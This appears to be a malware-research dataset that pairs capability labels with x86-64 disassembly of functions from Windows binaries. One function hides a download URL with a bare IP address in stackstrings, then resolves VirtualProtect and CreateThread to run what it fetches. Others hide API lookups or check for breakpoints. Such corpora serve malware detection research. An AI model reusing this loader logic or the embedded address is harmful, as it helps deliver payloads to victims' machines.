joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180003970
Capabilities:
Encrypt data using rc4 prga
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
xor ebp, ebp
mov r11d, r8d
mov rdi, rdx
mov rsi, rcx
mov rax, rdx
mov ebx, ebp
test rdx, rdx
je 0x180003b9c
movzx r9d, byte [rdx]
mov r10d, ebp
test r9b, r9b
je 0x180003b9c
lea rax, [rax + 1]
inc r10d
cmp byte [rax], bl
jne 0x1800039b3
test r10d, r10d
je 0x180003b9c
mov rcx, rdx
mov r8d, 0x811c9dc5
lea eax, [r9 - 0x41]
cmp al, 0x19
movsx eax, r9b
ja 0x1800039df
add eax, 0x20
movzx r9d, byte [rcx + 1]
inc rcx
movzx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
test r9b, r9b
jne 0x1800039d0
mov eax, 0xba2e8ba3
mul r8d
shr edx, 3
imul eax, edx, 0xb
sub r8d, eax
lea r14, [r8 + r8*2]
add r14, r14
mov rax, qword [rsi + r14*8 + 0x48]
mov rbx, qword [rax + 0x10]
test rbx, rbx
je 0x180003a81
nop
mov r8, qword [rbx + 0x38]
test r8, r8
je 0x180003a75
cmp rdi, r8
je 0x180003b9c
mov r9, rdi
sub r9, r8
nop dword [rax + rax]
movzx eax, byte [r9 + r8]
movzx edx, byte [r8]
lea r8, [r8 + 1]
cmp al, dl
je 0x180003a6c
lea ecx, [rax - 0x61]
cmp cl, 0x19
ja 0x180003a5b
add al, 0xe0
lea ecx, [rdx - 0x61]
cmp cl, 0x19
ja 0x180003a66
add dl, 0xe0
cmp al, dl
jb 0x180003a75
ja 0x180003a75
test al, al
jne 0x180003a40
jmp 0x180003b9c
mov rax, qword [rbx]
mov rbx, qword [rax + 0x10]
test rbx, rbx
jne 0x180003a20
test r11d, r11d
je 0x180003b9c
mov rcx, qword [rsi]
xor edx, edx
mov r8d, 0x25c0
lea r9d, [rdx + 1]
call fcn.180002f00
mov rbx, rax
test rax, rax
je 0x180003b9c
mov edx, ebp
mov rax, rdi
cmp byte [rdi], dl
je 0x180003abe
lea rax, [rax + 1]
inc edx
cmp byte [rax], bpl
jne 0x180003ab3
mov rcx, qword [rsi]
lea eax, [rdx + 1]
mov rdx, rdi
mov r8d, eax
mov r9d, eax
call fcn.1800030f0
mov qword [rbx + 0x38], rax
test rax, rax
je 0x180003b88
mov qword [rbx], rbp
mov qword [rbx + 8], rbp
mov qword [rbx + 0x10], rbx
lea rcx, [rbx + 0x40]
mov qword [rbx + 0x18], rbp
mov qword [rbx + 0x20], rbp
mov qword [rbx + 0x28], rbx
mov qword [rbx + 0x30], rsi
lea r8, [rbx + 0x18]
lea rax, [rcx + 0x18]
mov qword [rcx + 8], rbp
mov qword [rcx + 0x10], rbp
mov qword [rcx + 0x20], rcx
mov qword [rcx + 0x28], rbp
mov qword [rcx], rax
mov qword [rax], rbp
lea rcx, [rbx + 0x70]
mov edx, 0xc7
nop word [rax + rax]
lea rax, [rcx + 0x18]
mov qword [rcx + 8], rbp
mov qword [rcx + 0x10], rbp
mov qword [rcx + 0x20], rcx
mov qword [rcx + 0x28], rbp
mov qword [rcx], rax
add rcx, 0x30
mov qword [rax], rbp
dec edx
jne 0x180003b30
mov rcx, qword [rsi + r14*8 + 0x68]
mov rax, qword [rcx]
mov qword [rax + 8], rbx
mov rax, qword [rcx]
mov qword [rbx + 8], rcx
mov qword [rbx], rax
mov qword [rcx], rbx
mov rcx, qword [rsi + 0x38]
mov rax, qword [rcx]
mov qword [rax + 8], r8
mov rax, qword [rcx]
mov qword [r8 + 8], rcx
mov qword [r8], rax
mov qword [rcx], r8
inc dword [rsi + 8]
jmp 0x180003b9c
mov rcx, qword [rsi]
mov r8d, 1
mov rdx, rbx
call fcn.180003220
mov rbx, rbp
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop r14
ret
Function at 0x180003bc0
Capabilities:
Encrypt data using rc4 prga
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
xor r15d, r15d
mov r11d, r8d
mov rdi, rdx
mov rbp, rcx
mov rax, rdx
mov ebx, r15d
test rdx, rdx
je 0x180003d9a
movzx r9d, byte [rdx]
mov r10d, r15d
test r9b, r9b
je 0x180003d9a
lea rax, [rax + 1]
inc r10d
cmp byte [rax], bl
jne 0x180003c03
test r10d, r10d
je 0x180003d9a
mov rsi, qword [rcx + 0x30]
mov r8d, 0x811c9dc5
mov rcx, rdx
lea eax, [r9 - 0x41]
cmp al, 0x19
movsx eax, r9b
ja 0x180003c33
add eax, 0x20
movzx r9d, byte [rcx + 1]
inc rcx
movzx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
test r9b, r9b
jne 0x180003c24
mov eax, 0x5254e78f
mul r8d
shr edx, 6
imul eax, edx, 0xc7
sub r8d, eax
lea r14, [r8 + r8*2]
add r14, r14
mov rax, qword [rbp + r14*8 + 0x70]
mov rbx, qword [rax + 0x10]
test rbx, rbx
je 0x180003cd1
mov r8, qword [rbx + 0x38]
test r8, r8
je 0x180003cc5
cmp rdi, r8
je 0x180003d9a
mov r9, rdi
sub r9, r8
nop
movzx eax, byte [r9 + r8]
movzx edx, byte [r8]
lea r8, [r8 + 1]
cmp al, dl
je 0x180003cbc
lea ecx, [rax - 0x61]
cmp cl, 0x19
ja 0x180003cab
add al, 0xe0
lea ecx, [rdx - 0x61]
cmp cl, 0x19
ja 0x180003cb6
add dl, 0xe0
cmp al, dl
jb 0x180003cc5
ja 0x180003cc5
test al, al
jne 0x180003c90
jmp 0x180003d9a
mov rax, qword [rbx]
mov rbx, qword [rax + 0x10]
test rbx, rbx
jne 0x180003c76
test r11d, r11d
je 0x180003d9a
mov rcx, qword [rsi]
xor edx, edx
lea r9d, [rdx + 1]
lea r8d, [rdx + 0x48]
call fcn.180002f00
mov rbx, rax
test rax, rax
je 0x180003d9a
mov edx, r15d
mov rax, rdi
cmp byte [rdi], dl
je 0x180003d0d
lea rax, [rax + 1]
inc edx
cmp byte [rax], r15b
jne 0x180003d02
mov rcx, qword [rsi]
lea eax, [rdx + 1]
mov rdx, rdi
mov r8d, eax
mov r9d, eax
call fcn.1800030f0
mov qword [rbx + 0x38], rax
test rax, rax
je 0x180003d86
mov qword [rbx], r15
mov qword [rbx + 8], r15
mov qword [rbx + 0x10], rbx
mov qword [rbx + 0x18], r15
mov qword [rbx + 0x20], r15
mov qword [rbx + 0x28], rbx
mov qword [rbx + 0x30], rbp
mov qword [rbx + 0x40], r15
mov rcx, qword [rbp + r14*8 + 0x90]
mov rax, qword [rcx]
lea rdx, [rbx + 0x18]
mov qword [rax + 8], rbx
mov rax, qword [rcx]
mov qword [rbx + 8], rcx
mov qword [rbx], rax
mov qword [rcx], rbx
mov rcx, qword [rbp + 0x60]
mov rax, qword [rcx]
mov qword [rax + 8], rdx
mov rax, qword [rcx]
mov qword [rdx + 8], rcx
mov qword [rdx], rax
mov qword [rcx], rdx
inc dword [rsi + 8]
jmp 0x180003d9a
mov rcx, qword [rsi]
mov r8d, 1
mov rdx, rbx
call fcn.180003220
mov rbx, r15
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x180005bf0
Capabilities:
Hash data using sha1

Disassembly:
push rbx
sub rsp, 0x20
mov eax, dword [rcx + 0x20]
mov rbx, rcx
mov byte [rax + rcx + 0x24], 0x80
inc dword [rcx + 0x20]
mov ecx, dword [rcx + 0x20]
cmp ecx, 0x38
jbe 0x180005c2d
mov eax, ecx
mov r8d, 0x40
xor edx, edx
sub r8d, ecx
lea rcx, [rbx + 0x24]
add rcx, rax
call fcn.180014d70
mov rcx, rbx
call fcn.180005cb0
mov ecx, dword [rbx + 0x20]
cmp ecx, 0x38
jae 0x180005c4e
mov eax, ecx
mov r8d, 0x38
xor edx, edx
sub r8d, ecx
lea rcx, [rbx + 0x24]
add rcx, rax
call fcn.180014d70
movzx eax, byte [rbx + 0x1f]
mov rcx, rbx
mov byte [rbx + 0x5c], al
movzx eax, byte [rbx + 0x1e]
mov byte [rbx + 0x5d], al
mov rax, qword [rbx + 0x18]
shr rax, 0x28
mov byte [rbx + 0x5e], al
mov rax, qword [rbx + 0x18]
shr rax, 0x20
mov byte [rbx + 0x5f], al
mov eax, dword [rbx + 0x18]
shr rax, 0x18
mov byte [rbx + 0x60], al
mov eax, dword [rbx + 0x18]
shr rax, 0x10
mov byte [rbx + 0x61], al
mov eax, dword [rbx + 0x18]
shr rax, 8
mov byte [rbx + 0x62], al
movzx eax, byte [rbx + 0x18]
mov byte [rbx + 0x63], al
add rsp, 0x20
pop rbx
jmp fcn.180005cb0
Function at 0x180005cb0
Capabilities:
Encode data using xor
Hash data using sha1

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x140
mov rbx, rcx
lea r9, [rsp]
lea r8, [rcx + 0x26]
mov r10d, 0x10
movzx eax, byte [r8 - 1]
movzx edx, byte [r8 - 2]
lea r9, [r9 + 4]
shl edx, 8
lea r8, [r8 + 4]
or edx, eax
movzx eax, byte [r8 - 4]
shl edx, 8
or edx, eax
movzx eax, byte [r8 - 3]
shl edx, 8
or edx, eax
mov dword [r9 - 4], edx
dec r10
jne 0x180005ce0
lea rdx, [rsp + 0x40]
lea rax, [rsp + 8]
lea r8d, [r10 + 0x40]
mov ecx, dword [rax + 0x2c]
lea rdx, [rdx + 4]
lea rax, [rax + 4]
xor ecx, dword [rax + 0x14]
xor ecx, dword [rax - 0xc]
xor ecx, dword [rax - 4]
rol ecx, 1
mov dword [rdx - 4], ecx
dec r8
jne 0x180005d22
mov r12d, dword [rbx]
mov r13d, dword [rbx + 4]
mov r9d, dword [rbx + 8]
mov r11d, dword [rbx + 0xc]
mov esi, dword [rbx + 0x10]
mov ebp, 0x14
mov edi, r12d
mov r10d, r13d
lea r14, [rsp]
mov r15d, ebp
nop dword [rax]
nop dword [rax + rax]
mov r8d, dword [r14]
mov eax, r9d
mov edx, r10d
and eax, r10d
not edx
mov ecx, edi
and edx, r11d
rol ecx, 5
add r8d, 0x5a827999
or edx, eax
lea eax, [rsi + rcx]
mov esi, r11d
add edx, eax
mov r11d, r9d
mov r9d, r10d
add r8d, edx
mov r10d, edi
lea r14, [r14 + 4]
ror r9d, 2
mov edi, r8d
dec r15
jne 0x180005d70
lea rcx, [rsp + 0x50]
mov rdx, rbp
nop dword [rax + rax]
rol r8d, 5
add esi, 0x6ed9eba1
mov eax, r11d
xor eax, r9d
lea rcx, [rcx + 4]
xor eax, r10d
add r8d, eax
add r8d, dword [rcx - 4]
add r8d, esi
mov esi, r11d
mov r11d, r9d
mov r9d, r10d
mov r10d, edi
mov edi, r8d
ror r9d, 2
dec rdx
jne 0x180005dc0
lea rdx, [rsp + 0xa0]
mov r14, rbp
nop dword [rax]
nop dword [rax + rax]
rol r8d, 5
mov ecx, r9d
mov eax, r9d
or ecx, r10d
and eax, r10d
add esi, 0x8f1bbcdc
and ecx, r11d
add r8d, esi
mov esi, r11d
or ecx, eax
mov r11d, r9d
mov r9d, r10d
add ecx, dword [rdx]
mov r10d, edi
lea rdx, [rdx + 4]
ror r9d, 2
add r8d, ecx
mov edi, r8d
dec r14
jne 0x180005e10
lea rcx, [rsp + 0xf0]
nop word [rax + rax]
rol r8d, 5
add esi, 0xca62c1d6
mov eax, r11d
xor eax, r9d
add r8d, esi
mov esi, r11d
xor eax, r10d
mov r11d, r9d
mov r9d, r10d
add eax, dword [rcx]
mov r10d, edi
ror r9d, 2
add r8d, eax
lea rcx, [rcx + 4]
mov edi, r8d
dec rbp
jne 0x180005e60
add dword [rbx + 0xc], r11d
add dword [rbx + 8], r9d
add dword [rbx + 0x10], esi
lea r11, [rsp + 0x140]
lea eax, [r12 + r8]
mov dword [rbx + 0x20], ebp
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov dword [rbx], eax
lea eax, [r10 + r13]
mov dword [rbx + 4], eax
mov rbx, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x14000119c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
movsxd rax, dword [rcx + 0x3c]
xor r8d, r8d
mov r9, rcx
mov edx, dword [rax + rcx + 0x88]
add rdx, rcx
mov r11d, dword [rdx + 0x1c]
mov ebx, dword [rdx + 0x20]
mov ebp, dword [rdx + 0x24]
mov r10d, dword [rdx + 0x18]
add r11, rcx
add rbx, rcx
add rbp, rcx
test r10, r10
je 0x14000120b
movzx eax, word [rbp + r8*2]
mov esi, dword [rbx + r8*4]
lea rdi, [0x14001ca88]
mov eax, dword [r11 + rax*4]
add rsi, r9
mov ecx, 0xf
add rax, r9
repe cmpsb byte [rsi], byte [rdi]
je 0x14000120b
inc r8
cmp r8, r10
jb 0x1400011df
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret

Function at 0x1400013f8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x27]
sub rsp, 0xa0
xor r13d, r13d
lea r8, [rbp + 0x67]
lea rdx, [rbp + 0x77]
lea rcx, [rbp - 0x11]
mov dword [rbp - 0x11], 0x740068
mov dword [rbp - 0xd], 0x700074
mov dword [rbp - 9], 0x2f003a
mov dword [rbp - 5], 0x38002f
mov dword [rbp - 1], 0x31002e
mov dword [rbp + 3], 0x380033
mov dword [rbp + 7], 0x33002e
mov dword [rbp + 0xb], 0x2e0035
mov dword [rbp + 0xf], 0x320031
mov dword [rbp + 0x13], 0x2f0036
mov dword [rbp + 0x17], 0x610074
mov dword [rbp + 0x1b], 0x74
mov qword [rbp + 0x77], r13
mov dword [rbp + 0x67], r13d
call fcn.140001220
test al, al
jne 0x1400014a2
lea r9d, [r13 + 0x10]
lea r8, str.Error
lea rdx, str.Failed_to_download_the_file_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140001566
call fcn.140001178
mov rcx, rax
mov r12, rax
call fcn.14000119c
lea rdx, [rbp - 0x39]
mov rcx, r12
mov rsi, rax
mov dword [rbp - 0x39], 0x74726956
mov dword [rbp - 0x35], 0x506c6175
mov dword [rbp - 0x31], 0x65746f72
mov word [rbp - 0x2d], 0x7463
mov byte [rbp - 0x2b], r13b
mov dword [rbp - 0x49], 0x61657243
mov dword [rbp - 0x45], 0x68546574
mov dword [rbp - 0x41], 0x64616572
mov byte [rbp - 0x3d], r13b
mov dword [rbp - 0x29], 0x74696157
mov dword [rbp - 0x25], 0x53726f46
mov dword [rbp - 0x21], 0x6c676e69
mov dword [rbp - 0x1d], 0x6a624f65
mov dword [rbp - 0x19], 0x746365
call rsi
lea rdx, [rbp - 0x49]
mov rcx, r12
mov rbx, rax
call rsi
lea rdx, [rbp - 0x29]
mov rcx, r12
mov rdi, rax
call rsi
mov rcx, qword [rbp + 0x77]
mov edx, 8
lea r8d, [rdx + 0x38]
lea r9, [rbp + 0x6f]
mov rsi, rax
call rbx
mov r8, qword [rbp + 0x77]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call rdi
or edx, 0xffffffff
mov rcx, rax
call rsi
add rsp, 0xa0
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140002a80
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
ret

Function at 0x140005e7c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140005cec

Function at 0x1400115e0
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140020fa0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140006c20
xor ebx, ebx
cmp qword [0x140021d70], rbx
mov rdi, rax
jne 0x1400116f3
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x1400117ca
lea rdx, [0x14001b400]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400117ca
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140021d70], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140021d78], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140021d80], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140021d90], rax
test rax, rax
je 0x1400116ea
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140021d88], rax
jmp 0x1400116fa
mov rax, qword [0x140021d88]
jmp 0x140011701
mov rax, qword [0x140021d88]
mov r11, qword [0x140021d90]
cmp rax, rdi
je 0x140011768
cmp r11, rdi
je 0x140011768
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140021d90]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140011768
test rax, rax
je 0x140011768
call rsi
test rax, rax
je 0x140011762
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140011762
test byte [rsp + 0x40], 1
jne 0x140011768
bts ebp, 0x15
jmp 0x1400117a8
mov rcx, qword [0x140021d78]
cmp rcx, rdi
je 0x1400117a8
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400117a8
call rax
mov rbx, rax
test rax, rax
je 0x1400117a8
mov rcx, qword [0x140021d80]
cmp rcx, rdi
je 0x1400117a8
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400117a8
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140021d70]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400117ca
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x1400117cc
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140011a20
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14001518b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140020fa0]
jne 0x140011a3a
rol rcx, 0x10
test cx, 0xffff
jne 0x140011a36
repz ret
ror rcx, 0x10
jmp 0x1400150e4
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140021e40]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140021f38]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140015169
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140021e40]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14001518b
mov rax, qword [rsp + 0x88]
mov qword [0x140021f38], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140021ed8], rax
mov rax, qword [0x140021f38]
mov qword [0x140021db0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140021ec0], rax
mov dword [0x140021da0], 0xc0000409
mov dword [0x140021da4], 1
mov rax, qword [0x140020fa0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140020fa8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140021e38], eax
mov ecx, 1
call fcn.140011a40
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14001c7b8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140021e38], 0
jne 0x140015212
mov ecx, 1
call fcn.140011a40
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x4060e0
Capabilities:
Check for software breakpoints

Disassembly:
push rbx
push rdi
push rsi
lea rsp, [rsp - 0x20]
mov ax, word [0x0040e340]
cmp ax, 0xcb
je 0x406215
cmp ax, 0xcc
je 0x406215
mov rax, qword [0x00416800]
test rax, rax
je 0x40611c
mov ecx, dword [0x004165e0]
call rax
mov rbx, rax
jmp 0x406123
lea rbx, [0x004165e8]
cmp word [0x004165d0], 0
jle 0x40614a
lea rcx, [0x004165a0]
call fcn.00406400
mov rcx, rbx
call fcn.00405b80
mov rcx, rbx
call fcn.00405c10
mov rsi, qword [rbx]
jmp 0x40617a
mov rdi, qword [rsi + 8]
mov rax, qword [rsi]
and rax, 1
test rax, rax
jne 0x40616d
mov rdx, rsi
mov rcx, rbx
call fcn.00404db0
jmp 0x406177
mov rax, qword [rsi]
and rax, 0xfffffffffffffffe
mov qword [rsi], rax
mov rsi, rdi
test rsi, rsi
jne 0x406150
mov qword [rbx], 0
mov dword [rbx + 0x90], 0
cmp word [0x004165d0], 0
jle 0x406215
lea rdx, [0x004164b0]
mov rcx, rbx
call fcn.00404f40
mov rsi, rax
test rsi, rsi
je 0x4061e4
mov rax, qword [0x00416550]
mov qword [rsi + 0x18], rax
cmp qword [0x00416550], 0
je 0x4061d6
mov rax, qword [0x00416550]
mov qword [rax + 0x10], rsi
mov rax, qword [rbx + 0xa0]
mov qword [0x00416550], rax
sub word [0x004165d0], 1
cmp word [0x004165d0], 0
sete bl
lea rcx, [0x004165a0]
call fcn.00406420
test bl, bl
je 0x406215
lea rcx, [0x004165a0]
call fcn.004063e0
nop
lea rsp, [rsp + 0x20]
pop rsi
pop rdi
pop rbx
ret
Function at 0x4080d0
Capabilities:
Accept command line arguments

Disassembly:
push rbx
push rdi
push rsi
push r12
push r13
push r14
lea rsp, [rsp - 0x138]
mov esi, 0
mov qword [0x004163a0], 0
mov dword [rsp + 0x20], 0
lea rdx, [rsp + 0x28]
mov r8d, 0x104
movabs rcx, 0
call sub.kernel32.dll_GetModuleFileNameA
mov ebx, eax
mov eax, ebx
and eax, 0xffffffff
mov byte [rsp + rax + 0x28], 0
mov r8d, ebx
mov rcx, rsp
mov edx, 0
call fcn.004082b0
movsxd rax, ebx
lea r8, [rax + 1]
mov rax, qword [0x004163a0]
mov rdx, qword [rax]
lea rcx, [rsp + 0x28]
call fcn.00401db0
call sub.kernel32.dll_GetCommandLineA
mov qword [0x0040e3c0], rax
mov r14, qword [0x0040e3c0]
jmp 0x408260
add r14, 1
movzx eax, byte [r14]
sub eax, 1
cmp eax, 0x20
jb 0x408170
cmp byte [r14], 0
je 0x40826a
mov dil, 0
mov r12, r14
mov ebx, 0
jmp 0x4081d2
mov al, byte [r14]
cmp al, 1
jb 0x4081cb
sub al, 1
sub al, 0x1f
jbe 0x4081ab
sub al, 2
je 0x4081b5
jmp 0x4081cb
test dil, dil
je 0x4081d8
add ebx, 1
jmp 0x4081ce
cmp byte [r14 + 1], 0x22
je 0x4081c5
test dil, dil
sete dil
jmp 0x4081ce
add r14, 1
jmp 0x4081ce
add ebx, 1
add r14, 1
cmp byte [r14], 0
jne 0x408198
test esi, esi
je 0x40825d
mov r8d, ebx
mov edx, esi
mov rcx, rsp
call fcn.004082b0
mov dil, 0
mov r14, r12
mov rdx, qword [0x004163a0]
movsxd rax, esi
mov r13, qword [rdx + rax*8]
jmp 0x408252
mov al, byte [r14]
cmp al, 1
jb 0x408243
sub al, 1
sub al, 0x1f
jbe 0x40821b
sub al, 2
je 0x40822d
jmp 0x408243
test dil, dil
je 0x408258
mov al, byte [r14]
mov byte [r13], al
add r13, 1
jmp 0x40824e
cmp byte [r14 + 1], 0x22
je 0x40823d
test dil, dil
sete dil
jmp 0x40824e
add r14, 1
jmp 0x40824e
mov al, byte [r14]
mov byte [r13], al
add r13, 1
add r14, 1
cmp byte [r14], 0
jne 0x408208
mov byte [r13], 0
add esi, 1
cmp byte [r14], 0
jne 0x408174
mov dword [0x00416390], esi
movsxd rax, esi
lea rdx, [rax + 1]
shl rdx, 3
lea rcx, [0x004163a0]
call fcn.00405ea0
mov rax, qword [0x004163a0]
movsxd rsi, esi
mov qword [rax + rsi*8], 0
nop
lea rsp, [rsp + 0x138]
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
ret
Function at 0x4140a0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41422b
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.0042fee0
xorps xmm15, xmm15
mov r14, qword [0x00583588]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x414105
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x414114
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x414133
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x414143
cmp rbx, 0x1000
jae 0x41410b
jmp 0x4141ad
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x414155
xor edx, edx
jmp 0x4141a4
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.0042fee0
xorps xmm15, xmm15
mov r14, qword [0x00583588]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x414139
jmp 0x414128
call fcn.0045e4a0
xorps xmm15, xmm15
mov r14, qword [0x00583588]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.004342e0
lea rax, [0x004a225b]
mov ebx, 0x18
nop dword [rax]
call fcn.00434b60
mov rax, qword [rsp + 0x38]
call fcn.004348a0
lea rax, [0x004a2562]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00434b60
mov rax, qword [rsp + 0x30]
call fcn.004348a0
call fcn.00434520
call fcn.00434340
lea rax, [0x004a40ff]
mov ebx, 0x21
call fcn.00432940
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045ade0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.004140a0